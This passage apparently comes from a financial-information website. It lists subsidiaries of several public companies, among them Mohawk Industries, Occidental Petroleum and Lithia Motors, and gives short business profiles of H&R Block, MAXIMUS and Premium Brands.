Precision Metals Inc., Hamilton Precision Metals of Delaware Inc., Haydon Kerk Motion, Haydon Kerk Motion Solutions Inc., Hermetic Seal Corporation, High Standard Aviation, Imago Scientific Instruments, IntelliPower Inc., Land Instruments International Ltd., Laserage Technology Corp, Luphos GmbH, MCG Acquisition Corporation, MOCON Europe A/S, MOCON Inc., Magnetrol International, Micro-Poise Industrial Equipment (Beijing) Ltd., Micro-Poise Measurement Systems LLC, Micro-Poise Measurement Systems LLC, Milmega Limited, Mocon, Motec GmbH, Motec GmbH, Motion Control Group, Muirhead Aerospace Limited, NSI-MI Technologies, Newage Testing Instruments Inc., Nu Instruments Asia Ltd., Nu Instruments Limited, Nu Instruments Ltd, O'Brien Corp, OBCORP LLC., OOO AMETEK, Pacific Design Technologies Inc., Patriot Sensors & Controls Corporation, PennEngineering Motion Technologies, Petrolab L.L.C., Powervar, Powervar Deutschland GmbH, Powervar Inc., Powervar Mexico S.A. de C.V., Precitech, Quizix Inc., RETE Holding GmbH, Rauland-Borg, Rauland-Borg Corporation, Rauland-Borg Corporation of Florida, Reichert Inc., Reichert Technologies, Responder Systems Corporation, Rotron Inc., Rotron Incorporated, SPECTRO Analytical Instruments (Pty) Ltd, SPECTRO Analytical Instruments GmbH, SSH Non-Destructive Testing Inc., Sealtron Inc., Six Brookside Drive Corporation., SkyBitz Inc., SkyBitz Petroleum Logistics LLC, SkyBitz Tank Monitoring Corporation, Solartron Group Ltd., Solartron Metrology Limited, Solidstate Controls Inc. de Argentina S.R.L., Solidstate Controls LLC, Solidstate Controls LLC, Solidstate Controls Mexico S.A. de C.V., Sound Com Corporation, Southern Aero Partners Inc., Southern Aeroparts Inc, Spectro Analytical Instruments Inc., Spectro Holdings Inc., Spectro Inc., Spectro International Holdings Inc., Spectro Scientific, Spectro Scientific (Beijing) Inc., Spectro Scientific Inc., Sterling Ultra Precision Inc., Sunpower, Sunpower Inc., Superior Tube Company Inc., TPM Russia Inc., Taylor Hobson Holdings Limited, Taylor Hobson Inc., Taylor Hobson Limited, Taylor Hobson Trustees Limited, Technical Manufacturing Corp, Technical Manufacturing Corporation, Technical Services for Electronics Inc., Telular Corporation, Telular Corporation, Teseq AG, Thelsha Technical Services, Tritex Corporation, Unispec Marketing Pvt. Ltd., Universal Analyzers Inc., VTI Instruments Corporation, VTI Instruments Private Limited, VTI Integrated Systems Private Limited, Vision Research Europe B.V., Vision Research Inc., Vision Research srl, Zemetrics Inc., Zygo Corporation, Zygo Pte Ltd., Zygo Richmond Corporation, and ZygoLamda Metrology Instrument (Shanghai) Co. Ltd.. The following companies are subsidiares of Mohawk Industries: A&S Energie NV, A&U Energie NV, Aladdin Manufacturing Corporation, Aladdin Manufacturing Of New York LLC, Aladdin Manufacturing of Alabama LLC, Alsace Logistique S.A., Avelgem Green Power CVBA, Avon Pacific Holdings Ltd, B&M NV, BGE Mexico S. de R. L. de C.V., Berghoef GmbH, Berghoef-Hout B.V., Bienes Raices y Materiales del Centro S. de R.L. de C.V., C.F. Marazzi S.A., Canterbury Spinners Ltd, Carpet Foundation Ltd, Cevotrans BV, Ceramus Bahia S/A Produtos Ceramicos, DT Mex Holdings LLC, DTM/CM Holdings LLC, Dal Italia LLC, Dal-Elit LLC, Dal-Tile Chile Comercial Limitada, Dal-Tile Colombia S.A.S., Dal-Tile Distribution Inc., Dal-Tile Group Inc., Dal-Tile I LLC, Dal-Tile Industrias S. de R.L. de C.V., Dal-Tile International Inc., Dal-Tile Mexico Comercial S. de R.L. de C.V., Dal-Tile Mexico S. de R.L. de C.V., Dal-Tile Operaciones Mexico S. De R.L. De C.V., Dal-Tile Peru SRL, Dal-Tile Puerto Rico Inc., Dal-Tile Services Inc., Dal-Tile Shared Services Inc., Dal-Tile Tennessee LLC, Dal-Tile of Canada ULC, Daltile, Daltile, Dekaply NV, Durkan, Dynea NV, Eliane Argentina Sociedad Anonima, Eliane S/A - Revestimentos Ceramicos, Emilceramica India Pvt Ltd., Emilceramica S.r.l, Emilgermany GmbH, Emilgroup Asia Ltd, Explorer S.r.l., F.I.L.S. Investments Unlimited Company, Feltex Carpets Ltd, Feltex Carpets Pty Ltd, Feltex New Zealand Ltd, Fibremakers Australia Pty Ltd, Flooring Foundation Ltd, Flooring Industries Limited S.a r.l., Flooring XL B.V., Floorscape Limited, Godfrey Hirst & Co Pty Ltd, Godfrey Hirst (Singapore) Pte Ltd, Godfrey Hirst Australia Pty Ltd, Godfrey Hirst Group, Godfrey Hirst NZ Ltd, Hytherm (Ireland) Limited, IVC BVBA, IVC Far-East Trading (Shanghai) Co. Ltd., IVC France S.a r.l., IVC GROUP LIMITED, IVC Green Power NV, IVC Group, IVC Group GmbH, IVC Luxembourg S.a r.l., IVC Rus OOO, IVC US Inc., International Flooring Systems S.a r.l., International Vinyl Company - Vostok OOO, KAI Group, KAI Keramica Ltd, KAI Mining EOOD, KERAMA CENTER OOO, Kerama Baltics OOO, Kerama Export OOO, Kerama Marazzi OOO, Kerampromservis (LLC), Khan Asparuh - Transport EOOD, Khan Asparuh AD, Khan Omurtag AD, Koninklijke Peitsman B.V., Kraj Kerama OOO, MG China Trading Ltd., MI Finance SRL, MUD (Holding) Brazil Ltda., Management Co EAD, Marazzi Acquisition S.r.l., Marazzi Deutschland G.m.b.H., Marazzi France Trading S.A.S., Marazzi Group, Marazzi Group F.Z.E., Marazzi Group S.r.l., Marazzi Group Trading (Shanghai) Co. Ltd., Marazzi Iberia S.L.U., Marazzi Japan Co. Ltd., Marazzi Middle East FZ LLC, Marazzi Schweiz S.A.G.L., Marazzi UK Ltd., Mohawk Assurance Services Inc., Mohawk Australia Pty Ltd, Mohawk Canada Corporation, Mohawk Capital Finance S.A., Mohawk Capital Luxembourg SA, Mohawk Carpet Distribution Inc., Mohawk Carpet Foundation Inc., Mohawk Carpet LLC, Mohawk Carpet Transportation Of Georgia LLC, Mohawk Commercial Inc., Mohawk ESV Inc., Mohawk Europe BVBA, Mohawk Factoring II Inc., Mohawk Factoring LLC, Mohawk Finance S.a r.l., Mohawk Foreign Acquisitions S.a r.l., Mohawk Foreign Funding S.a.r.l, Mohawk Foreign Holdings S.a r.l., Mohawk Foreign Investments Inc., Mohawk Global Investments S.a r.l., Mohawk Holdings International B.V., Mohawk Industries Inc., Mohawk International (Europe) S.a r.l., Mohawk International (Hong Kong) Limited, Mohawk International Capital N.V., Mohawk International Financing S.a.r.l, Mohawk International Holdings (DE) LLC, Mohawk International Holdings S.a r.l., Mohawk International Luxembourg S.a r.l., Mohawk International Netherlands B.V., Mohawk International Services BVBA, Mohawk KAI Luxembourg Holding S.a r.l., Mohawk KAI Luxembourg S.a r.l., Mohawk Luxembourg Capital S.A., Mohawk Luxembourg Financing S.a r.l., Mohawk Luxembourg Holdings S.a r.l., Mohawk Luxembourg Investments S.a r.l., Mohawk Luxembourg Pacific S.a r.l., Mohawk Marazzi International BV, Mohawk Marazzi Russia BV, Mohawk New Zealand Limited, Mohawk Operaciones Mexicali S. de R.L. de C.V., Mohawk Operations Luxembourg S.a r.l., Mohawk Pacific Investments S.a r.l., Mohawk Resources LLC, Mohawk Servicing LLC, Mohawk Singapore Private Limited, Mohawk Trading (Shanghai) Co. Ltd, Mohawk Unilin Luxembourg S.a r.l., Mohawk United Finance B.V., Mohawk United International B.V., Mohawk Vinyl Financing S.a r.l., Molber Beheer B.V., Monarch Ceramic Tile Inc., P.F. Onroerend Goed B.V., PF Beheer B.V., Pergo, Pergo (Europe) AB, Pergo Holding BV, Pergo India Pvt Ltd, Polcolorit S.A., Premium Floors Australia Pty Limited, RR Apex LLC, Rata International Pty Ltd, Recubrimientos Interceramica S. de R.L. de C.V., Riverside Textiles Pty Ltd, S.C. KAI Ceramics SRL, Sibir Kerama OOO, SimpleSolutions USA LLC, Soft Step (Australia) Pty Ltd, Spano Group, Spano Invest BVBA, Spano NV, Stroyagromekhzapchast ChaO, Stroytrans OAO Orelstroy, Summit Wool Spinners Ltd, The Flooring Federation Ltd, Tiles Co OOD, Unilin (Malaysia) Sdn. Bhd., Unilin ApS, Unilin Arauco Pisos Ltda., Unilin BVBA, Unilin Beheer BV, Unilin Distribution Ltd., Unilin Distribution Ukraine LLC, Unilin Finland OY, Unilin Flooring India Private Limited, Unilin Flooring SAS, Unilin GmbH, Unilin Holding BVBA, Unilin Insulation BV, Unilin Insulation SAS, Unilin Insulation Sury SAS, Unilin Italia S.R.L., Unilin North America LLC, Unilin Norway AS, Unilin OOO, Unilin Panels SAS, Unilin Poland Sp.Z.o.o., Unilin SAS, Unilin Spain SL, Unilin Swiss GmbH, Unilin s.r.o., World International Inc., Xtratherm, Xtratherm Limited, Xtratherm S.A., and Xtratherm UK Limited. H&R Block, Inc. engages in the provision of tax preparation and other services. The firm offers assisted income tax return preparation and related services through a system of retail offices operated directly by the company or by franchisees. It also develops and markets DIY income tax preparation software online, as well as through third-party retail stores and direct mail; and provides DIY tax services, including federal and state income tax returns, access to tax tips, advice and tax-related news, use of calculators for tax planning, and error checking and electronic filing. In addition, the company offers Refund Transfers and H&R Block Emerald Prepaid Mastercard, which enables clients to receive their tax refunds; Peace of Mind extended service plans; H&R Block Emerald Advance lines of credit; Tax Identity Shield that provides clients assistance in helping protect their tax identity and access to services to help restore their tax identity; refund advance loans; H&R Block Instant Refund; and H&R Block Pay With Refund services. The company was founded by Henry W. Bloch and Richard A. Bloch on January 25, 1955 and is headquartered in Kansas City, MO. Read More The following companies are subsidiares of Occidental Petroleum: 1PointFive Inc., 1PointFive P1 LLC, APC Aviation Inc., APC International Holdings LLC, APC Midstream Holdings LLC, APC Venezuela Srl, ARCO Long Beach, Altura Energy, Amarok Gathering LLC, Anadarko 20-25 Company, Anadarko 20-36 Company, Anadarko 20-47 Company, Anadarko 20-48 Company, Anadarko 20-49 Company, Anadarko Algeria Block 403 c/e Company, Anadarko Algeria Block 406B Company, Anadarko Algeria Company LLC, Anadarko Algeria Oil & Gas Company, Anadarko Brazil Investment I LLC, Anadarko Brazil Investment II LLC, Anadarko Canada E&P Limited, Anadarko China Holdings 2 Company, Anadarko Colombia Company, Anadarko Consolidated Holdings LLC, Anadarko Cote d'Ivoire Block 103 Company, Anadarko Cote d'Ivoire Company, Anadarko DBMOS Operator LLC, Anadarko Development Company, Anadarko Development Holding Limited, Anadarko E&P Onshore LLC, Anadarko Egypt Holdings Company, Anadarko Energy Holding Limited, Anadarko Energy Services Company, Anadarko Exploracao e Producao de Petroleo e Gas Natural Ltda., Anadarko Finance Company, Anadarko Gabon Company, Anadarko Ghana Mahogany-1 Company, Anadarko Global Energy S.a.r.l, Anadarko Global Funding 1 Company, Anadarko Global Funding II Ltd., Anadarko Guyana Company, Anadarko Holding Company, Anadarko International Development S.a.r.l, Anadarko International Energy Company, Anadarko International O&G Company, Anadarko International Trading Corporation, Anadarko Jordan Company, Anadarko Kenya Company, Anadarko LMM S.a.r.l, Anadarko Land Corp., Anadarko Mexico B.V., Anadarko Mexico S.a.r.l, Anadarko Midkiff/Chaney Dell BR Corp., Anadarko Midkiff/Chaney Dell LLC, Anadarko Natural Gas Company LLC, Anadarko New Zealand Company, Anadarko OGC Company, Anadarko Offshore Holding Company LLC, Anadarko Offshore Well Containment Company LLC, Anadarko Oil & Gas 5 LLC, Anadarko Peru B.V., Anadarko Petroleum, Anadarko Petroleum Corporation, Anadarko Realty LLC, Anadarko Rockies LLC, Anadarko Royalty Holdings Company, Anadarko UK Corporate Limited, Anadarko US Offshore LLC, Anadarko USH1 Corporation, Anadarko Venezuela Company, Anadarko Venezuela LLC, Anadarko Venezuela Srl, Anadarko WCTP Company, Anadarko West Texas BR Corp., Anadarko West Texas LLC, Anadarko Worldwide Holdings C.V., Atlantic Rim Mexico S. de R.L. de C.V., Aventine LLC, Baseball Merger Sub 2 Inc., Bear Branch Exploration LLC, Big Island Trona Company, Bitter Creek Coal Company, Bravo Pipeline Company, Cain Chemical, Cain Chemical Inc., Carbon Finance Labs LLC, Concord Petroleum Corporation, Conn Creek Shale Company, D.S. Ventures LLC, DMM Financial LLC, Deerwood Exploration LLC, Downtown Plaza II, Elk Hills Field, FLAG Development LLC, FP Westport Commodities Limited, FP Westport GmbH, FP Westport LLC, FP Westport Limited, FP Westport Services LLC, FP Westport Trading LLC, Fosters Mill Exploration LLC, Glenn Springs Holdings Inc., Globrep Representaciones S.A., Grand Bassa Tankers Inc., Grupo OxyChem de Mexico S.A. de C.V., Headwater II LLC, Houndstooth Resources LLC, INDSPEC Chemical B.V., INDSPEC Chemical Corporation, INDSPEC Chemical Corporation, INDSPEC Chemical Export Sales LLC, INDSPEC Holding Corporation, Ingleside Cogeneration GP LLC, Ingleside Cogeneration Limited Partnership, Interore Trading Ltd., Joslyn Partnership, KERR-McGEE TT E&P LTD., KM BM-C-Seven Ltd., KM International Insurance Ltd., Kerr-McGee Corporation, Kerr-McGee Natural Gas Company Inc., Kerr-McGee Oil & Gas Onshore LP, Kerr-McGee Shared Services Company LLC, Kerr-McGee Stored Power Corporation, Kerr-McGee U.K. Energy Corporation, Kerr-McGee Worldwide Corporation, Kerr-McGee do Brasil Ltda., Kerr-McGee of Canada Northwest Ltd., Laguna Petroleum Corp., Laguna Petroleum LLC, Liwa Oil & Gas Ltd., MC2 Technologies LLC, Mariana Properties Inc., Marico Exploration Inc., Miller Springs Remediation Management Inc., Moncrief Minerals Partnership L.P., NGL Ventures LLC, Natural Gas Odorizing Inc., New OPL LLC, OEVC Energy LLC, OEVC Midstream Projects LLC, OIH LLC, OLCV CE Holdings ULC, OLCV CE US Holdings Inc., OLCV Net Power LLC, OLCV Services LLC, OOG Partner LLC, OOOI Chem Holdings LLC, OOOI Chem Sub LLC, OOOI Chemical International LLC, OOOI Chile Holder LLC, OOOI Ecuador Management LLC, OOOI Oil and Gas Sub LLC, OOOI South America Management LLC, OPM GP Inc., OPM Holdco LLC, OTCF LLC, OTH LLC, OXY CV Pipeline LLC, OXY Campus LLC, OXY Inc., OXY LPG LLC, OXY Libya E&P Area 103 BR4 B.V., OXY Libya E&P Area 35 Ltd., OXY Libya E&P Concession 103 Ltd., OXY Libya E&P EPSA 102 B.V., OXY Libya E&P EPSA 1981 Ltd., OXY Libya E&P EPSA 1985 Ltd., OXY Libya E&P NC 143 144 145 150 B.V., OXY Libya Exploration SPC, OXY Libya LLC, OXY Little Knife LLC, OXY Mexico Holdings I LLC, OXY Mexico Holdings II LLC, OXY Middle East Holdings Ltd., OXY Oil Partners Inc., OXY PBLP Manager LLC, OXY Support Services LLC, OXY Tulsa Inc., OXY USA Inc., OXY USA WTP LP, OXY VPP Investments LLC, OXY West LLC, OXY of Saudi Arabia Ltd., OXYCHEM (CANADA) INC., OXYMAR, Oakwood Exploration LLC, Occidental (Bermuda) Ltd., Occidental (East Shabwa) LLC, Occidental Advance Sale Finance Inc., Occidental Al Hosn LLC, Occidental Angola Holdings Ltd., Occidental CIS Services Inc., Occidental Canada Holdings Ltd., Occidental Chemical Asia Limited, Occidental Chemical Belgium B.V.B.A., Occidental Chemical Chile Limitada, Occidental Chemical Corporation, Occidental Chemical Export Sales LLC, Occidental Chemical Far East Limited, Occidental Chemical Holding Corporation, Occidental Chemical International LLC, Occidental Chemical Investment (Canada) 1 Inc., Occidental Chemical Receivables LLC, Occidental Chemical de Mexico S.A. de C.V., Occidental Chile Investments LLC, Occidental Chile Minority Holder LLC, Occidental Colombia (Series G) Ltd., Occidental Colombia (Series J) Ltd., Occidental Colombia (Series K) Ltd., Occidental Colombia (Series L) Ltd., Occidental Colombia (Series M) Ltd., Occidental Colombia (Series N) Ltd., Occidental Colombia (Series O) Ltd., Occidental Crude Sales Inc. (Canada), Occidental Crude Sales Inc. (International), Occidental Dolphin Holdings Ltd., Occidental Energy Marketing Inc., Occidental Energy Ventures LLC, Occidental Exploradora del Peru Ltd., Occidental Exploration and Production Company, Occidental Hafar LLC, Occidental International (Libya) Inc., Occidental International Corporation, Occidental International Exploration and Production Company, Occidental International Holdings Ltd., Occidental International Oil and Gas Ltd., Occidental International Services Inc., Occidental Joslyn GP 2 Co., Occidental LNG (Malaysia) Ltd., Occidental Latin America Holdings LLC, Occidental Libya Oil & Gas B.V., Occidental MENA Manager Ltd., Occidental Middle East Development Company, Occidental Midland Basin LLC, Occidental Mukhaizna LLC, Occidental Oil Asia Pte. Ltd., Occidental Oil Shale Inc., Occidental Oil and Gas (Oman) Ltd., Occidental Oil and Gas Corporation, Occidental Oil and Gas International Inc., Occidental Oil and Gas International LLC, Occidental Oil and Gas Pakistan LLC, Occidental Oil and Gas of Peru LLC, Occidental Oman (Block 27) Holdings Ltd., Occidental Oman Block 51 Holding Ltd., Occidental Oman Block 51 LLC, Occidental Oman Block 65 Holding Ltd., Occidental Oman Block 65 LLC, Occidental Oman Block 72 Holding Ltd., Occidental Oman Block 72 LLC, Occidental Oman Gas Company LLC, Occidental Oman Gas Holdings Ltd., Occidental Oman North Holdings Ltd., Occidental Oriente Exploration and Production Ltd., Occidental Overseas Holdings B.V., Occidental PVC LLC, Occidental Peninsula II Inc., Occidental Peninsula LLC, Occidental Permian Ltd., Occidental Permian Manager LLC, Occidental Permian Services Inc., Occidental Peruana Inc., Occidental Petrolera del Peru (Block 101) Inc., Occidental Petrolera del Peru (Block 103) Inc., Occidental Petroleum (Pakistan) Inc., Occidental Petroleum Corporation, Occidental Petroleum Corporation Political Action Committee, Occidental Petroleum de Venezuela S.A., Occidental Petroleum of Nigeria, Occidental Petroleum of Oman Ltd., Occidental Petroleum of Qatar Ltd., Occidental Power Marketing L.P., Occidental Power Services Inc., Occidental Qatar Energy Company LLC, Occidental Red Sea Development LLC, Occidental Research Corporation, Occidental Resource Recovery Systems Inc., Occidental Resources Company, Occidental Shah Gas Holdings Ltd., Occidental South America Finance LLC, Occidental Specialty Marketing Inc., Occidental Tower Corporation, Occidental Transportation Holding Corporation, Occidental West Texas Overthrust Inc., Occidental Yemen Ltd., Occidental Yemen Sabatain Inc., Occidental del Ecuador Inc., Occidental of Abu Dhabi (Bab) Ltd., Occidental of Abu Dhabi (Shah) Ltd., Occidental of Abu Dhabi Holdings Ltd., Occidental of Abu Dhabi LLC, Occidental of Abu Dhabi Ltd., Occidental of Bahrain Ltd., Occidental of Bangladesh Inc., Occidental of Colombia (Chipiron) Inc., Occidental of Colombia (Cosecha) Inc., Occidental of Colombia (Medina) Inc., Occidental of Colombia (Putumayo) Ltd., Occidental of Colombia (Teca) Ltd., Occidental of Colombia PUT-36 LLC, Occidental of Dubai Inc., Occidental of Iraq Holdings Ltd., Occidental of Iraq LLC, Occidental of Oman Inc., Occidental of Russia Ltd., Occidental of South Africa (Offshore) Inc., Occidental of Yemen (Block 75) LLC, Oceanic Marine Transport Ltd., Opcal Insurance Inc., Oryx Crude Trading & Transportation Inc., Oxy BridgeTex Limited Partnership, Oxy C & I Bulk Sales LLC, Oxy Canada Sales Inc., Oxy Carbon Solutions LLC, Oxy Carbon Storage LLC, Oxy Climate Ventures Inc., Oxy Cogeneration Holding Company LLC, Oxy Colombia Holdings LLC, Oxy Colombia TopCo Ltd., Oxy Delaware Basin LLC, Oxy Delaware Basin Plant LLC, Oxy Dolphin E&P LLC, Oxy Dolphin Pipeline LLC, Oxy Energy Canada Inc., Oxy Energy Services LLC, Oxy Expatriate Services Inc., Oxy FFT Holdings Inc., Oxy Holding Company (Pipeline) Inc., Oxy International Ventures Ltd., Oxy LPG Terminal LLC, Oxy Levelland Pipeline Company LLC, Oxy Levelland Terminal Company LLC, Oxy Low Carbon Ventures LLC, Oxy Midstream Strategic Development LLC, Oxy Oleoducto SOP LLC, Oxy Overseas Services Ltd., Oxy Permian Gathering LLC, Oxy Permian Plaza LLC, Oxy Petroleum de Mexico S. de R.L. de C.V., Oxy Renewable Energy LLC, Oxy Salt Creek Pipeline LLC, Oxy TL LLC, Oxy Taft Hub LLC, Oxy Technology Ventures Inc., Oxy Transport I Company LLC, Oxy Vinyls Canada Co., Oxy Vinyls Export Sales LLC, Oxy Vinyls LP, Oxy Westwood Corporation, Oxy Y-1 Company, OxyChem Ingleside Ethylene Holdings Inc., OxyChem do Brasil Ltda., OxyChile Investments LLC, Oxychem Shipping Ltd., Permian Basin JV Tax Matters Member LLC, Permian Basin Limited Partnership, Permian VPP Holder LP, Permian VPP Manager LLC, Phibro, Placid Oil LLC, Ramlat Oxy Ltd., Rio de Viento Inc., Rodeo Midland Basin LLC, San Patricio Pipeline LLC, Scanports Shipping LLC, SequestCo LLC, Stetson Exploration LLC, Sun Offshore Gathering Company, Swiflite Aircraft Corporation, Transok Properties LLC, Troy Potter Inc., Turavent Oil GmbH [in liquidation], Tuscaloosa Holdings Inc., UP Petroleo III Ltd., Upland Industries Corporation, Venezuela US SRL, Vintage Gas Inc., Vintage Petroleum, Vintage Petroleum Argentina Ltd., Vintage Petroleum Boliviana Ltd., Vintage Petroleum International Finance B.V., Vintage Petroleum International Holdings LLC, Vintage Petroleum International LLC, Vintage Petroleum International Ventures Inc., Vintage Petroleum Italy Inc., Vintage Petroleum South America Holdings Inc., Vintage Petroleum South America LLC, Vintage Petroleum Turkey Inc., WGR Asset Holding Company LLC, WGR Canada Inc., Wardner Ranch Inc., Western Gas Resources Inc., Western Gas Resources-Westana Inc., Western Midstream Holdings LLC, Woodlands International Insurance Ltd., and YT Ranch LLC. The following companies are subsidiares of Lithia Motors: 797 Valley Street LLC, Albany CJD Fiat, Baierl Auto Group, Baierl Auto Parts LLC, Baierl Automotive Corporation, Baierl Chevrolet Inc., Baierl Holding LLC, Broadway Ford, Buhler Ford Inc, Cadillac of Portland Lloyd Center LLC, Camp Automotive Inc., Carbone Auto Body LLC, Chrysler Dodge Jeep Ram Fiat of Morgantown, Cranberry Automotive Inc., Crater Lake Ford Lincoln, Crater Lake Mazda, DCH (Oxnard) Inc., DCH Auto Group, DCH Bloomfield LLC, DCH CA LLC, DCH Calabasas-A LLC, DCH California Investments LLC, DCH California Motors Inc., DCH DMS NJ LLC, DCH Del Norte Inc., DCH Essex Inc., DCH Financial NJ LLC, DCH Freehold - V LLC, DCH Freehold LLC, DCH Holdings LLC, DCH Investments Inc. (New Jersey), DCH Investments Inc. (New York), DCH Korean Imports LLC, DCH Mamaroneck LLC, DCH Mission Valley LLC, DCH Monmouth LLC, DCH Montclair LLC, DCH Motors LLC, DCH NY Motors LLC, DCH Nanuet LLC, DCH North America Inc., DCH Oxnard 1521 Imports Inc., DCH Riverside-S Inc., DCH Simi Valley Inc., DCH Support Services LLC, DCH TL Holdings LLC, DCH TL NY Holdings LLC, DCH Temecula Imports LLC, DCH Temecula Motors LLC, DCH Thousand Oaks-F Inc., DCH Torrance Imports Inc., Dah Chong Hong CA Trading LLC, Dah Chong Hong Trading Corporation, Daron Motors LLC, Day Auto Group, Downtown LA, Driveway Motors LLC, Elizabeth Collision LLC, Florida SS LLC, Ford Lincoln of Morgantown, Freehold Nissan LLC, Fuse Auto Sales LLC, Hamilton Honda, Hazleton Honda, Hutchins Eugene Nissan Inc., Hutchins Imported Motors Inc., Jaguar Landrover Mission Viejo, LA Motors Holding LLC, LAD Advertising Inc., LAD Carson-N LLC, LAD Mission Viejo-JLR Inc., LAD Mobu Inc., LAD-AU LLC, LAD-MB LLC, LAD-N LLC, LAD-P LLC, LAD-T LLC, LAD-V LLC, LBMP LLC, LFKF LLC, LGPAC Inc., LLL Sales Co LLC, LMBB LLC, LMBP LLC, LMOP LLC, LSTAR LLC, Lithia AcDM Inc., Lithia Aircraft Inc., Lithia Anchorage-C LLC, Lithia Anchorage-H LLC, Lithia Armory Garage LLC, Lithia Auction & Recon LLC, Lithia Auto Services Inc., Lithia Automotive Inc., Lithia BA Holding Inc., Lithia BNM Inc. (nonoperating), Lithia Baierl-S LLC, Lithia Bryan Texas Inc., Lithia Buffalo-A LLC, Lithia CCTF Inc., Lithia CDH Inc., Lithia CIMR Inc., Lithia CJDO Inc., Lithia CJDSA Inc., Lithia CJDSF Inc., Lithia CM Inc., Lithia CO Inc., Lithia CSA Inc., Lithia Community Development Company Inc., Lithia Crater Lake-F Inc., Lithia Crater Lake-M Inc., Lithia DE Inc., Lithia DM Inc., Lithia DMID Inc., Lithia Des Moines-VW LLC, Lithia Dodge of Tri-Cities Inc., Lithia Eatontown-F LLC, Lithia FLCC LLC, Lithia FMF Inc., Lithia Financial Corporation (previously Lithia Leasing Inc. and Lithia Credit Inc.), Lithia Florida Holding Inc., Lithia Ford of Boise Inc., Lithia Fresno Inc., Lithia HDM Inc., Lithia HGF Inc., Lithia HMID Inc., Lithia HPI Inc. (nonoperating), Lithia Hamilton-H LLC, Lithia Hazleton-H LLC, Lithia Idaho Falls-F Inc., Lithia Imports of Anchorage Inc., Lithia JEF Inc., Lithia Klamath Inc., Lithia Klamath-T Inc., Lithia LBGGF Inc., Lithia LHGF Inc., Lithia LSGF Inc., Lithia MBDM Inc., Lithia MMF Inc., Lithia MTLM Inc., Lithia McMurray-C LLC, Lithia Medford HON Inc., Lithia Middletown-L LLC, Lithia Monroeville-A LLC, Lithia Monroeville-C LLC, Lithia Monroeville-F LLC, Lithia Monroeville-V LLC, Lithia Moon-S LLC, Lithia Moon-V LLC, Lithia Morgantown-CJD LLC, Lithia Morgantown-F LLC, Lithia Morgantown-S LLC, Lithia Motors Support Services Inc., Lithia NA Inc., Lithia NC Inc., Lithia ND Acquisition Corp. #1, Lithia ND Acquisition Corp. #3, Lithia ND Acquisition Corp. #4, Lithia NDM Inc., Lithia NF Inc., Lithia NSA Inc., Lithia Northeast Real Estate LLC, Lithia Orchard Park-H LLC, Lithia Paramus-M LLC, Lithia Pittsburgh-S LLC, Lithia Ramsey-B LLC, Lithia Ramsey-L LLC, Lithia Ramsey-M LLC, Lithia Ramsey-T LLC, Lithia Real Estate Inc., Lithia Reno Sub-HYUN Inc., Lithia Reno-CJ LLC, Lithia Reno-VW LLC, Lithia Rose-FT Inc., Lithia SOC Inc., Lithia SSP LLC, Lithia Salmir Inc., Lithia Sea P Inc., Lithia Seaside Inc., Lithia Spokane-B LLC, Lithia Spokane-S LLC, Lithia TA Inc., Lithia TO Inc., Lithia TR Inc., Lithia Uniontown-C LLC, Lithia VAuDM Inc., Lithia VF Inc., Lithia Wexford-H LLC, Lithia of Abilene Inc., Lithia of Anchorage Inc., Lithia of Bend #1 LLC, Lithia of Bend #2 LLC, Lithia of Bennington - 1 LLC, Lithia of Bennington - 2 LLC, Lithia of Bennington - 3 LLC, Lithia of Bennington - 4 LLC, Lithia of Billings II LLC, Lithia of Billings Inc., Lithia of Casper LLC, Lithia of Clear Lake LLC, Lithia of Concord I Inc., Lithia of Concord II Inc., Lithia of Corpus Christi Inc., Lithia of Des Moines Inc., Lithia of Eureka Inc., Lithia of Fairbanks Inc., Lithia of Great Falls Inc., Lithia of Helena Inc., Lithia of Honolulu-A Inc., Lithia of Honolulu-BGMCC LLC, Lithia of Honolulu-F LLC, Lithia of Honolulu-V LLC, Lithia of Killeen LLC, Lithia of Lodi Inc., Lithia of Maui-H LLC, Lithia of Missoula II LLC, Lithia of Missoula III Inc., Lithia of Missoula Inc., Lithia of Pocatello Inc., Lithia of Portland I LLC, Lithia of Portland LLC, Lithia of Robstown LLC, Lithia of Roseburg Inc., Lithia of Santa Rosa Inc., Lithia of Seattle Inc., Lithia of South Central AK Inc., Lithia of Spokane II Inc., Lithia of Spokane Inc., Lithia of Stockton Inc., Lithia of Stockton-V Inc., Lithia of TF Inc., Lithia of Troy LLC, Lithia of Utica - 1 LLC, Lithia of Utica - 2 LLC, Lithia of Utica - 3 LLC, Lithia of Utica - 4 LLC, Lithia of Walnut Creek Inc., Lithia of Wasilla LLC, Lithia of Yorkville - 1 LLC, Lithia of Yorkville - 2 LLC, Lithia of Yorkville - 3 LLC, Lithia of Yorkville - 4 LLC, Lithia of Yorkville - 5 LLC, Medford Insurance LLC, Milford DCH Inc., Northland Ford Inc., PA Real Estate LLC, PA Support Services LLC, Paramus Collision LLC, Paramus World Motors LLC, Personalized Marketing LLC, Prestige Auto Group, RFA Holdings LLC, Ray Laks Acura, Ray Laks Honda, Sacramento-L Inc., Salem-B LLC, Salem-H LLC, Salem-V LLC, Sharlene Realty LLC, Shift Portland LLC, Southern Cascades Finance Corporation, Subaru of Morgantown, Tampa-H LLC, Tustin Motors Inc., Wesley Chapel-H LLC, Wesley Chapel-T LLC, Zelienople Real Estate I L.P., and Zelienople Real Estate L.L.C.. MAXIMUS, Inc. engages in the operation of government and human services programs. It operates through the following segments: U.S. Services; U.S. Federal Services; and Outside the U.S. The U.S. Services segment offers a variety of business process services, and appeals and assessments for state, provincial and national government programs. The U.S. Federal Services segment includes process solutions, program management, as well as system and software development, and maintenance services for various United States federal civilian programs. The Outside the U.S segment comprises of national, state, and county human services agencies with a variety of business process services, and related consulting services for welfare-to-work, child support, higher education institutions, and other human services programs. The company was founded by David V. Mastran in 1975 and is headquartered in Reston, VA. Read More Premium Brands Holdings Corporation, through its subsidiaries, manufactures and distributes food products primarily in Canada and the United States. It operates in two segments, Specialty Foods and Premium Food Distribution. The company provides meat products and snacks, deli products, beef jerky and halal, sandwiches, pastries, specialty and gourmet products, salads and kettle products, entrees, panini, wraps, subs, hamburgers, burgers, muffins, breads, pastas, and baking and sushi products, as well as processed meat products. It is also involved in the distribution of food products, including meat, seafood, and halal food products, as well as operation of retail/convenience store and concessionary, and provision of food and seafood processing services. The company operates under the brand names of Harvest Meats, Hempler's, Grimm's Fine Foods, Piller's, Freybe, Isernio's, Expresco, SJ Fine Foods, McSweeney's, Made Rite, Fletcher's, Deli Chef, Belmont Meats, Conte Foods, SK Food Group, Oven Pride, Hygaard, Quality Fast Foods, HQ Fine Foods, Creekside Custom Foods, Stuyver's Bread, Bread Garden Express, Audrey's Patisserie, 